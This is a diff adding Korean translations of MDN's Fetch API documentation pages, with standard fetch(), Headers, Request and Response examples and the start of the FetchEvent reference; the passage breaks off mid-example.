+++ b/files/ko/web/api/fetch_api/fetch의_사용법/index.html
@@ -0,0 +1,419 @@
+---
+title: Using Fetch
+slug: Web/API/Fetch_API/Fetch의_사용법
+translation_of: Web/API/Fetch_API/Using_Fetch
+---
+<p><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a>를 이용하면 Request나 Response와 같은 HTTP의 파이프라인을 구성하는 요소를 조작하는것이 가능합니다. 또한 {{domxref("GlobalFetch.fetch","fetch()")}} 메서드를 이용하는 것으로 비동기 네트워크 통신을 알기쉽게 기술할 수 있습니다.</p>
+
+<p>이전에 이러한 기능을  {{domxref("XMLHttpRequest")}}에서 제공하고 있었습니다. Fetch는 이러한 API의 대체제로 {{domxref("ServiceWorker_API", "Service Workers")}}같은 기술로 간단히 이용하는것이 가능합니다. 또한 CORS나 HTTP확장같은  HTTP에 관련한 개념을 모아 정의하고 있습니다.</p>
+
+<p>Fetch의 기본 스펙은<code>jQuery.ajax()</code>와 기본적으로 두가지가 다르다는 사실에 유념해야합니다.</p>
+
+<ul>
+ <li><code>fetch()</code>로 부터 반환되는 Promise 객체는 <strong>HTTP error 상태를 reject하지 않습니다.</strong> HTTP Statue Code가 404나 500을 반환하더라도요. 대신 ok 상태가 false인 resolve가 반환되며, 네트워크 장애나 요청이 완료되지 못한 상태에는 reject가 반환됩니다.</li>
+ <li>보통 <code>fetch</code>는 <strong>쿠키를 보내거나 받지 않습니다.</strong>  사이트에서 사용자 세션을 유지 관리해야하는 경우 인증되지 않는 요청이 발생합니다. 쿠키를 전송하기 위해서는 자격증명(credentials) 옵션을 반드시 설정해야 합니다.<br>
+  <a href="https://github.com/whatwg/fetch/pull/585">2017년 8월 25일</a> 이후. 기본 자격증명(credentials) 정책이 <code>same-origin</code> 으로 변경되었습니다. 파이어폭스는 61.0b13 이후 변경되었습니다.</li>
+</ul>
+
+<p>기본적인 fetch는 누구라도 알기쉽고 간단하게 작성할 수 있습니다. 아래의 코드를 봐주시기 바랍니다.</p>
+
+<pre class="brush: js notranslate"><code>fetch('http://example.com/movies.json')
+  .then(function(response) {
+    return response.json();
+  })
+  .then(function(myJson) {
+    console.log(JSON.stringify(myJson));
+  });</code></pre>
+
+<p>네트워크에서 JSON 파일을 가져 와서 콘솔에 인쇄합니다. 간단한 <code>fetch()</code> 사용 흐름은 인수 한개(가져올 자원의 경로)를 가져오고 응답을 포함하는 약속 ({{domxref ( "Response")}} 개체)을 반환하는 것입니다.</p>
+
+<p>이것은 단순한 HTTP Response이며, 실제 JSON이 아닙니다. response 객체로부터 사진을 가져오기 위해서는 {{domxref("Body.json","json()")}} 메서드를 사용할 필요가 있습니다. ({{domxref("Body")}}의 믹스인 (역주:php의 트레이드와 같은것입니다. )으로 정의되어, 이것은 {{domxref("Request")}} 객체와 {{domxref("Response")}} 객체의 쌍방에 구현되어 있습니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: http Request와 http Response의 Body mixin은 Body 컨텐츠를 다른 mine 타입으로 사용하는 비슷한 메서드를 제공하고 있습니다.  상세한 내용은 {{anch("Body")}} 섹션을 참고해 주시기 바랍니다.</p>
+</div>
+
+<p>Fetch Reqeust는 검색된 리소스로부터의 지시가 아닌 <a href="/ko/docs/Security/CSP/CSP_policy_directives">CSP</a>의<code>connect-src</code>의 디렉티브(directive)에 의해 제어됩니다.</p>
+
+<h3 id="리퀘스트의_옵션_적용">리퀘스트의 옵션 적용</h3>
+
+<p><code>fetch()</code> 메서드에 두번째 파라미터를 적용하는것도 가능합니다. <code>init</code> 오브젝트는 다른 여러 세팅을 컨트롤 할 수 있게 해줍니다.</p>
+
+<p>모든 설정 가능한 옵션의 상세 설명은 {{domxref("GlobalFetch.fetch","fetch()")}}를 참고해주시기 바랍니다.</p>
+
+<pre class="notranslate"><code>// Example POST method implementation:
+
+postData('http://example.com/answer', {answer: 42})
+  .then(data =&gt; console.log(JSON.stringify(data))) // JSON-string from `response.json()` call
+  .catch(error =&gt; console.error(error));
+
+function postData(url = '', data = {}) {
+  // Default options are marked with *
+    return fetch(url, {
+        method: 'POST', // *GET, POST, PUT, DELETE, etc.
+        mode: 'cors', // no-cors, cors, *same-origin
+        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
+        credentials: 'same-origin', // include, *same-origin, omit
+        headers: {
+            'Content-Type': 'application/json',
+            // 'Content-Type': 'application/x-www-form-urlencoded',
+        },
+        redirect: 'follow', // manual, *follow, error
+        referrer: 'no-referrer', // no-referrer, *client
+        body: JSON.stringify(data), // body data type must match "Content-Type" header
+    })
+    .then(response =&gt; response.json()); // parses JSON response into native JavaScript objects
+}</code>
+</pre>
+
+<h3 id="자격_증명credentials이_포함된_Request_요청">자격 증명(credentials)이 포함된 Request 요청</h3>
+
+<p>자격 증명이 포함된 인증서를 보내도록 하려면 <code>fetch()</code> 메서드에 <code>credentials: 'include'</code>를 추가하도록 합니다. 이것은 cross-origin 요청에서도 사용됩니다.</p>
+
+<pre class="notranslate"><code>fetch('https://example.com', {
+  credentials: 'include'
+})</code></pre>
+
+<p>요청하려는 URL이 호출 스크립트와 동일한 origin을 가지고 있을때만 자격증명을 전송하려면 <code>credentials: 'same-origin'</code>를 추가해 주시기 바랍니다.</p>
+
+<pre class="notranslate"><code>// The calling script is on the origin 'https://example.com'
+
+fetch('https://example.com', {
+  credentials: 'same-origin'
+})</code></pre>
+
+<p>브라우저의 보안을 유지하는것 대신 자격증명을 포함하지 않는것을 원한다면 <code>credentials: 'omit'</code>를 작성해 주시기 바랍니다.</p>
+
+<pre class="notranslate"><code>fetch('https://example.com', {
+  credentials: 'omit'
+})</code>
+</pre>
+
+<h3 id="Uploading_JSON_data">Uploading JSON data</h3>
+
+<p>POST프로토콜로 JSON인코딩된 데이터를 보내기 위해 {{domxref("GlobalFetch.fetch","fetch()")}}를 사용합니다.</p>
+
+<pre class="notranslate"><code>var url = 'https://example.com/profile';
+var data = {username: 'example'};
+
+fetch(url, {
+  method: 'POST', // or 'PUT'
+  body: JSON.stringify(data), // data can be `string` or {object}!
+  headers:{
+    'Content-Type': 'application/json'
+  }
+}).then(res =&gt; res.json())
+.then(response =&gt; console.log('Success:', JSON.stringify(response)))
+.catch(error =&gt; console.error('Error:', error));</code></pre>
+
+<h3 id="Uploading_a_file">Uploading a file</h3>
+
+<p><code>&lt;input type="file" /&gt;</code> input엘리먼트, {{domxref("FormData.FormData","FormData()")}}, {{domxref("WindowOrWorkerGlobalScope/fetch","fetch()")}}를 사용하여 파일을 업로드 할 수 있습니다.</p>
+
+<pre class="notranslate"><code>var formData = new FormData();
+var fileField = document.querySelector('input[type="file"]');
+
+formData.append('username', 'abc123');
+formData.append('avatar', fileField.files[0]);
+
+fetch('https://example.com/profile/avatar', {
+  method: 'PUT',
+  body: formData
+})
+.then(response =&gt; response.json())
+.catch(error =&gt; console.error('Error:', error))
+.then(response =&gt; console.log('Success:', JSON.stringify(response)));</code></pre>
+
+<h3 id="Uploading_multiple_files">Uploading multiple files</h3>
+
+<p><code>&lt;input type="file" multiple /&gt;</code> input엘리먼트와{{domxref("FormData.FormData","FormData()")}}, {{domxref("GlobalFetch.fetch","fetch()")}}를 사용하여 파일 다중업로드를 할 수 있습니다.</p>
+
+<pre class="notranslate"><code>var formData = new FormData();
+var photos = document.querySelector('input[type="file"][multiple]');
+
+formData.append('title', 'My Vegas Vacation');
+for (var i = 0; i &lt; photos.files.length; i++) {
+  formData.append('photos', photos.files[i]);
+}
+
+fetch('https://example.com/posts', {
+  method: 'POST',
+  body: formData
+})
+.then(response =&gt; response.json())
+.then(response =&gt; console.log('Success:', JSON.stringify(response)))
+.catch(error =&gt; console.error('Error:', error));</code></pre>
+
+<h3 id="문서_파일을_열단위로_처리하기">문서 파일을 열단위로 처리하기</h3>
+
+<p>응답하는 곳에서 읽는 덩어리들은 줄 단위로 깔끔하게 떨어지지 않으며 문자열이 아니라 Uint8Arrys(8비트 부호 없는 정수)입니다. 만약 텍스트 파일은 fetch하고 이것을 줄 단위로 처리하고자 한다면, 이런 복잡함을 다루는 것은 사용자에게 달려있습니다. 아래의 예시는 line iterator를 생성하여 처리하는 한가지 방법을 보여주고 있습니다. (간단하게 하기위해, 텍스트는 UTF-8이라고 가정하며,  fetch errors를 다루지 않는다고 합시다).</p>
+
+<pre class="notranslate"><code>async function* makeTextFileLineIterator(fileURL) {
+  const utf8Decoder = new TextDecoder("utf-8");
+  let response = await fetch(fileURL);
+  let reader = response.body.getReader();
+  let {value: chunk, done: readerDone} = await reader.read();
+  chunk = chunk ? utf8Decoder.decode(chunk) : "";
+
+  let re = /\n|\r|\r\n/gm;
+  let startIndex = 0;
+  let result;
+
+  for (;;) {
+    let result = re.exec(chunk);
+    if (!result) {
+      if (readerDone) {
+        break;
+      }
+      let remainder = chunk.substr(startIndex);
+      ({value: chunk, done: readerDone} = await reader.read());
+      chunk = remainder + (chunk ? utf8Decoder.decode(chunk) : "");
+      startIndex = re.lastIndex = 0;
+      continue;
+    }
+    yield chunk.substring(startIndex, result.index);
+    startIndex = re.lastIndex;
+  }
+  if (startIndex &lt; chunk.length) {
+    // last line didn't end in a newline char
+    yield chunk.substr(startIndex);
+  }
+}
+
+for await (let line of makeTextFileLineIterator(urlOfFile)) {
+  processLine(line);
+}</code></pre>
+
+<h3 id="fetch의_성공_여부를_체크">fetch의 성공 여부를 체크</h3>
+
+<p>한가지 예를 들자면, 네트워크 error가 발생했을때 또는 CORS 가 서버단에서 잘못 설정되어있다면 {{domxref("GlobalFetch.fetch","fetch()")}} promise 객체는 {{jsxref("TypeError")}} 메시지와 함께 반려 할것입니다. 비록 이 현상은 보통 허가 이슈나 그와 비슷한 것을 의미할지라도, 404 는 네트워크 error를 구성하지는 않습니다.  성공적인 <code>fetch()</code> 를 체크하는 정확한 방법은 promise 객체가 해결되었는지를 체크하는 것을 포함합니다. 그리고 {{domxref("Response.ok")}} property 가 "true"의 값을 가지고 있는지 확인하는 것입니다. 코드는 아래와 같이 구현될겁니다:</p>
+
+<pre class="notranslate"><code>fetch('flowers.jpg').then(function(response) {
+  if(response.ok) {
+    return response.blob();
+  }
+  throw new Error('Network response was not ok.');
+}).then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+}).catch(function(error) {
+  console.log('There has been a problem with your fetch operation: ', error.message);
+});</code></pre>
+
+<h3 id="request_객체를_fetch로_전달">request 객체를 fetch로 전달</h3>
+
+<p><code>fetch()</code>를 사용해 요청한 리소스의 경로를 전달하는것 대신{{domxref("Request.Request","Request()")}} 생성자를 사용해 Request 객체를 작성하여 <code>fetch()</code> 메서드를 인수로 전달하는것도 가능합니다.</p>
+
+<pre class="notranslate"><code>var myHeaders = new Headers();
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});</code></pre>
+
+<p><code>fetch()</code>메서드의 인수와 똑같은 인수를 <code>Request()</code>객체에 전달하여 적용하는것이 가능합니다. 또한 Request 객체의 클론을 생성하기 위해 이미 존재하는 Request 객체를 전달하는것도 가능합니다.</p>
+
+<pre class="brush: js notranslate">var anotherRequest = new Request(myRequest,myInit);</pre>
+
+<p>이것은 Request와 Resposne의 Body를 하나만 사용하고 있으므로 사용성이 높습니다.필요하면 <code>init</code> 객체를 변화시켜 Response나 Request를 재사용할 수 있도록 복사합니다. The copy must be made before the body is read, and reading the body in the copy will also mark it as read in the original request.</p>
+
+<div class="note">
+<p><strong>노트</strong>: {{domxref("Request.clone","clone()")}} 메서드를 사용해 Request 객체의 클론을 생성할 수 있습니다. 다른 카피 메서드와 약간 다른 의미가 있습니다. 이전 요청의 body가 이미 읽어들여진 경우 전자는  실패하지만 <code>clone()</code>메서드는 실패하지 않습니다. 이 기능은 Response와 동일합니다.</p>
+</div>
+
+<h2 id="Headers">Headers</h2>
+
+<p>{{domxref("Headers")}} 인터페이스에서  {{domxref("Headers.Headers","Headers()")}} 생성자를 사용해 헤더 객체를 생성할 수 있습니다. 헤더 객체는 Key와 Value로 이루어진 간단한 multi-map입니다.</p>
+
+<pre class="brush: js notranslate">var content = "Hello World";
+var myHeaders = new Headers();
+myHeaders.append("Content-Type", "text/plain");
+myHeaders.append("Content-Length", content.length.toString());
+myHeaders.append("X-Custom-Header", "ProcessThisImmediately");</pre>
+
+<p>똑같이 배열을 전달하거나 객체 리터럴을 생성자에 전달하는것으로 생성할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">myHeaders = new Headers({
+  "Content-Type": "text/plain",
+  "Content-Length": content.length.toString(),
+  "X-Custom-Header": "ProcessThisImmediately",
+});</pre>
+
+<p>다음과 같은 코드로 헤더의 내용을 들여다 볼 수 있습니다.</p>
+
+<pre class="brush: js notranslate">console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.getAll("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.getAll("X-Custom-Header")); // [ ]</pre>
+
+<p>이러한 몇몇개의 조작법은 {{domxref("ServiceWorker_API","ServiceWorkers")}}에서밖에 도움되지 않지만 헤더를 조작하기 위해서 보다 나은 API를 제공하고 있습니다.</p>
+
+<p>모든 Header 메서드는 유효한 HTTP 헤더가 전달되지 않았을 경우 TypeError을 반환합니다. immutable Guard(다음 섹션 참고)가 설정되어 있는 경우에도 TypeError를 반환합니다. TypeError를 반환하지 않고 실패하는 경우도 있습니다. 다음 예를 참고해주시기 바랍니다.</p>
+
+<pre class="brush: js notranslate">var myResponse = Response.error();
+try {
+  myResponse.headers.set("Origin", "http://mybank.com");
+} catch(e) {
+  console.log("은행이 아니잖아요!!");
+}</pre>
+
+<p>헤더의 좋은 사용법으로 처리하기 전에 컨텐츠 타입으로 올바른가의 여부를 판별하는 방법이 있습니다. 예를 들어,</p>
+
+<pre class="notranslate"><code>fetch(myRequest).then(function(response) {
+    var contentType = response.headers.get('content-type');
+    if(contentType &amp;&amp; contentType.includes('application/json')) {
+      return response.json();
+    }
+    throw new TypeError("Oops, we haven't got JSON!");
+  })
+  .then(function(json) { /* process your JSON further */ })
+  .catch(function(error) { console.log(error); });</code></pre>
+
+<h3 id="가드">가드</h3>
+
+<p>헤더는 리퀘스트를 송신할 수 있으며 리스폰스를 수신할 수 있습니다. 어떤 정보를 수정할 수 있게 하기 위해, 혹은 수정하기 위해 여러 종류의 제어가 가능합니다. 헤더는 guard 프로퍼티는 이것을 가능하게 합니다. 가드는 Request나 Response에 포함되지 않지만  헤더 객체에서 조작 가능한 여러 메서드들의 사용 가능 여부에 영향을 미칩니다.</p>
+
+<p>가드의 설정값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>none</code>: 기본치</li>
+ <li><code>request</code>: ({{domxref("Request.headers")}})에서 얻은 헤더 객체에 대한 가드</li>
+ <li><code>request-no-cors</code>: {{domxref("Request.mode")}} <code>no-cors</code>에 생성된 ({{domxref("Request.headers")}})에서 사용할 수 있는 값만 헤더에 확보함</li>
+ <li><code>response</code>: ({{domxref("Response.headers")}}) Response에서 얻은 객체애 대한 가드</li>
+ <li><code>immutable</code>: 대개 ServiceWorker에서 사용됨. 헤더의 설정을 읽기 전용으로 바꿈.</li>
+</ul>
+
+<div class="note">
+<p><strong>메모</strong>: <code>request</code>에서 가드된 헤더의<code>Content-Length</code> 헤더는 추가나 변경할 수 없는 가능성이 있습니다.  마찬가지로 리스폰스 헤더에 <code>Set-Cookie</code>를 삽입하는것은 불가능합니다.ServiceWorker는 동기 Reponse를 추출하여 쿠키를 설정합니다.</p>
+</div>
+
+<h2 id="Response_객체">Response 객체</h2>
+
+<p>위에서 본 바와 같이 {{domxref("Response")}} 인스턴스들은 fetch() promise가 resolve됬을때 반환됩니다.</p>
+
+<p>아래는 어떤 리스폰스 객체라도 공통으로 사용되는 리스폰스 프로퍼티입니다.</p>
+
+<ul>
+ <li>{{domxref("Response.status")}} — HTTP Status의 정수치, 기본값 200</li>
+ <li>{{domxref("Response.statusText")}} — HTTP Status 코드의 메서드와 일치하는 문자열, 기본값은 "OK"</li>
+ <li>{{domxref("Response.ok")}} 상술한 프로퍼티에서 사용한 HTTP Status 코드가 200에서 299중 하나임을 체크하는 값, {{domxref("Boolean")}}를 반환</li>
+</ul>
+
+<p>Response 객체는 개발자의 손에 의해 동적으로 만드는것이 가능합니다. 이 방법은 {{domxref("ServiceWorker_API", "ServiceWorkers")}}내에서 활약할 때가 많습니다. 예를들어 Request를 획득했을 때  {{domxref("FetchEvent.respondWith","respondWith()")}}메서드에 의해 커스텀된 리스폰스를 반환하는 경우가 있습니다.</p>
+
+<pre class="brush: js notranslate">var myBody = new Blob();
+
+addEventListener('fetch', function(event) {
+  event.respondWith(
+    new Response(myBody, {
+      headers: { "Content-Type" : "text/plain" }
+    })
+  );
+});</pre>
+
+<p>{{domxref("Response.Response","Response()")}} 생성자는 파라미터로써 두개의 객체를 전달하는것이 가능합니다.첫번째는 Response Body, 두번째는 초기화 객체({{domxref("Request.Request","Request()")}}의 클론을 생성하는 방법과 비슷합니다.) 입니다.</p>
+
+<ul>
+</ul>
+
+<div class="note">
+<p><strong>付記</strong>: 정적 메서드 {{domxref("Response.error","error()")}}는 단순한 에러 Response를 반환합니다. {{domxref("Response.redirect","redirect()")}} 메서드 또한 지정한 URL에 리다이렉트할 Response를 반환합니다. 이것들은 Service Workers에서만 사용되고 있습니다.</p>
+</div>
+
+<h2 id="Body">Body</h2>
+
+<p>Request, Response 둘다 Body를 가지고 있습니다. body는 아래에서 기술한 타입들 중 하나의 인스턴스입니다.</p>
+
+<ul>
+ <li>{{domxref("ArrayBuffer")}}</li>
+ <li>{{domxref("ArrayBufferView")}} (Uint8Array같은 TypedArray)</li>
+ <li>{{domxref("Blob")}}/File</li>
+ <li>문자열</li>
+ <li>{{domxref("URLSearchParams")}}</li>
+ <li>{{domxref("FormData")}}</li>
+</ul>
+
+<p>{{domxref("Body")}} 믹스인은 {{domxref("Request")}}나{{domxref("Response")}}에 구현되어, 콘텐츠를 추출하기 위해 아래의 메서드가 정의되어 있습니다. 이러한 메서드들은 전부 최종적으로 요청으로 반환된 값을 내장하고 있는 promise를 반환합니다.</p>
+
+<ul>
+ <li>{{domxref("Body.arrayBuffer","arrayBuffer()")}}</li>
+ <li>{{domxref("Body.blob","blob()")}}</li>
+ <li>{{domxref("Body.json","json()")}}</li>
+ <li>{{domxref("Body.text","text()")}}</li>
+ <li>{{domxref("Body.formData","formData()")}}</li>
+</ul>
+
+<p>이것들은 비 텍스트 데이터를 XHR보다 훨씬 간단하게 사용하는것을 도와줍니다.</p>
+
+<p>Request 바디는 body 파라미터를 전달하는 것으로 설정할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var form = new FormData(document.getElementById('login-form'));
+fetch("/login", {
+  method: "POST",
+  body: form
+})</pre>
+
+<p>Both request and response (and by extension the <code>fetch()</code> function), will try to intelligently determine the content type. A request will also automatically set a <code>Content-Type</code> header if none is set in the dictionary.</p>
+
+<h2 id="Feature_detection특징_추출">Feature detection(특징 추출)</h2>
+
+<p>Fetch API support는{{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} or {{domxref("GlobalFetch.fetch","fetch()")}} on the {{domxref("Window")}} or {{domxref("Worker")}}로 존재여부를 확인함으로써 추출할 수 있습니다. 예를 들어:</p>
+
+<pre class="notranslate"><code>if (window.fetch) {
+    // run my fetch request here
+} else {
+    // do something with XMLHttpRequest?</code></pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Polyfill</h2>
+
+<p>Fetch를 지원하지 않는 브라우저를 위해 미지원 브라우저를 위한 <a href="https://github.com/github/fetch">Fetch Polyfill</a>이 지원되고 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_2">Browser compatibility</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility"><span>관련항목</span></h2>
+
+<div id="compat-mobile"></div>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/ko/docs/Web/HTTP/Access_control_CORS">HTTP 액세스 제어 (CORS)</a></li>
+ <li><a href="/ko/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="https://github.com/mdn/fetch-examples/">Fetch examples on Github</a></li>
+</ul>
+
+<p>{{DefaultAPISidebar("Fetch API")}} </p>
diff --git a/files/ko/web/api/fetch_api/index.html b/files/ko/web/api/fetch_api/index.html
new file mode 100644
index 0000000000..d3b3d7b672
--- /dev/null
+++ b/files/ko/web/api/fetch_api/index.html
@@ -0,0 +1,88 @@
+---
+title: Fetch API
+slug: Web/API/Fetch_API
+tags:
+  - API
+  - Experimental
+  - Fetch
+  - Landing
+  - Reference
+translation_of: Web/API/Fetch_API
+---
+<div>{{DefaultAPISidebar("Fetch API")}}</div>
+
+<p><strong>Fetch API</strong>는 네트워크 통신을 포함한 리소스 취득을 위한 인터페이스가 정의되어 있습니다.  {{domxref("XMLHttpRequest")}}와 같은 비슷한 API가 존재합니다만, 새로운 Fetch API는 좀더 강력하고 유연한 조작이 가능합니다.</p>
+
+<h2 id="기본_개념과_사용_방법">기본 개념과 사용 방법</h2>
+
+<p>Fetch에는 일반적인 오브젝트로로 {{domxref("Request")}} 와 {{domxref("Response")}}가 포함되어 있습니다.  이것들은 service worker이나 Cache API같이 Response와 Request객체를 다루는 API나 독자적으로 리스폰스를 발생시키는 경우에도 사용 가능합니다.</p>
+
+<p>또한 CORS나 HTTP 오리진 헤더의 행동에 관련한 개념에 대해서도 정의되어 있습니다. 이 정의는 여러곳에 분산되어있는 갖가지 행동에대한 정의들을 한곳에 고쳐 쓴 것입니다.</p>
+
+<p>Fetch API로 리소스를 취득하기 위해서 {{domxref("GlobalFetch.fetch")}} 메소드를 불러들여야 합니다. 이 메소드는  {{domxref("Window")}}나 {{domxref("WorkerGlobalScope")}}와 같은 인터페이스로부터 구현되었습니다. </p>
+
+<p><code>fetch()</code>를 불러들이는 경우, 취득할 리소스를 반드시 인수로 지정하지 않으면 안됩니다. 읽어들인 뒤,  <code>fetch()</code>는 <code>Promise</code>객체를 반환합니다. 리퀘스트가 성공하든 실패하든 해당 리퀘스트 통신에 대한 {{domxref("Response")}}객체가 취득됩니다. <code>fetch()</code>의 두번째 인수는 초기화에 사용되는 객체를 정의하고 있습니다. 이 인수는 기입하지 않아도 함수의 동작에 문제가 없습니다. 이 인수에 대한 상세한 정보는 {{domxref("Request")}})를 참고해주시기 바랍니다.</p>
+
+<p>{{domxref("Response")}}를 가져온 후에, 콜백함수의 매개변수로 담긴 response 객체에는 리스폰스에 포함되어있는 컨텐츠와 그에대한 처리방법이 담긴 메소드들이 담겨있습니다. 자세한 사항은 {{domxref("Body")}}를 참고해주시기 바랍니다.</p>
+
+<p>{{domxref("Request.Request","Request()")}}와 {{domxref("Response.Response","Response()")}}를 사용하는 것으로, Request와 Response를 직접 작성할 수 있습니다. 하지만 이러한 추가 옵션들은   {{domxref("FetchEvent.respondWith")}}와 같은 또다른 API를 불러 들이는 작업이 수행되어야 하므로 필요하지 않다면 굳이 작성하지 않는 편이 좋습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: Fetch API에 대한 자세한 이용방법은 <a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch</a>를 참고해주시기 바랍니다. 또한  <a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch basic concepts</a>에서는 Fetch API의 기본개념 또한 설명되어 있습니다.</p>
+</div>
+
+<h3 id="Aborting_a_fetch">Aborting a fetch</h3>
+
+<p>몇몇 브라우저들은 {{domxref("AbortController")}}와 {{domxref("AbortSignal")}} 인터페이스에 대한 실험적인 기능을 추가로 지원하였습니다. 만약 Fetch API와 XHR API 호출이 완료되지 않았다면, 중단 될 수 있도록 하는 기능입니다. 자세한 사항은 인터페이스 문서를 참고해주시기 바랍니다.</p>
+
+<h2 id="Fetch_인터페이스">Fetch 인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("GlobalFetch")}}</dt>
+ <dd>리소스를 취득하기 위해 사용되는  <code>fetch()</code> 메서드가 정의되어 있습니다.</dd>
+ <dt>{{domxref("Headers")}}</dt>
+ <dd>리퀘스트와 리스폰스 객체에 대한 헤더입니다. 헤더정보에 보내는 쿼리나 통신 결과의 행동에 대한 선택이 가능합니다.</dd>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>리소스에 대한 리퀘스트의 객체입니다.</dd>
+ <dt>{{domxref("Response")}}</dt>
+ <dd>리퀘스트에 대한 리스폰스 객체입니다.</dd>
+</dl>
+
+<h2 id="Fetch_믹스인">Fetch 믹스인</h2>
+
+<dl>
+ <dt>{{domxref("Body")}}</dt>
+ <dd>Response와 Request 본체에 관련한 메소드들이 정의되어 있습니다. 이것들을 이용함으로써 response 결과물을 html, json과 같이 컨텐츠 타입별로 처리하는것이 가능합니다. </dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="관련정보">관련정보</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch basic concepts</a></li>
+</ul>
diff --git a/files/ko/web/api/fetchevent/index.html b/files/ko/web/api/fetchevent/index.html
new file mode 100644
index 0000000000..9b0e1cce34
--- /dev/null
+++ b/files/ko/web/api/fetchevent/index.html
@@ -0,0 +1,110 @@
+---
+title: FetchEvent
+slug: Web/API/FetchEvent
+tags:
+  - API
+  - FetchEvent
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - TopicStub
+  - Workers
+translation_of: Web/API/FetchEvent
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">This is the event type for <code>fetch</code> events dispatched on the {{domxref("ServiceWorkerGlobalScope", "service worker global scope", "", 1)}}. It contains information about the fetch, including the request and how the receiver will treat the response. It provides the {{domxref("FetchEvent.respondWith", "event.respondWith()")}} method, which allows us to provide a response to this fetch.</span></p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("FetchEvent.FetchEvent()", "FetchEvent()")}}</dt>
+ <dd>Creates a new <code>FetchEvent</code> object. This constructor is not typically used. The browser creates these objects itself and provides them to <code>fetch</code> event callbacks.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its ancestor, {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("fetchEvent.clientId")}} {{readonlyInline}}</dt>
+ <dd>The {{domxref("Client.id", "id")}} of the same-origin {{domxref("Client", "client")}} that initiated the fetch.</dd>
+ <dt>{{domxref("fetchEvent.preloadResponse")}} {{readonlyinline}}</dt>
+ <dd>A {{jsxref("Promise")}} for a {{domxref("Response")}}, or void if this is not a navigation, or {{domxref("NavigationPreloadManager", "navigation preload", "", 1)}} is not enabled.</dd>
+ <dt>{{domxref("fetchEvent.request")}} {{readonlyInline}}</dt>
+ <dd>The {{domxref("Request")}} the browser intends to make.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("ExtendableEvent")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("fetchEvent.respondWith()")}}</dt>
+ <dd>Prevent the browser's default fetch handling, and provide (a promise for) a response yourself.</dd>
+ <dt>{{domxref("extendableEvent.waitUntil()")}}</dt>
+ <dd>
+ <p>Extends the lifetime of the event. Used to notify the browser of tasks that extend beyond the returning of a response, such as streaming and caching.</p>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This fetch event uses the browser default for non-GET requests. For GET requests it tries to return a match in the cache, and falls back to the network. If it finds a match in the cache, it asynchronously updates the cache for next time.</p>
+
+<pre class="brush: js">addEventListener('fetch', event =&gt; {
+  // Let the browser do its default thing
+  // for non-GET requests.
+  if (event.request.method != 'GET') return;
+
+  // Prevent the default, and handle the request ourselves.
+  event.respondWith(async function() {
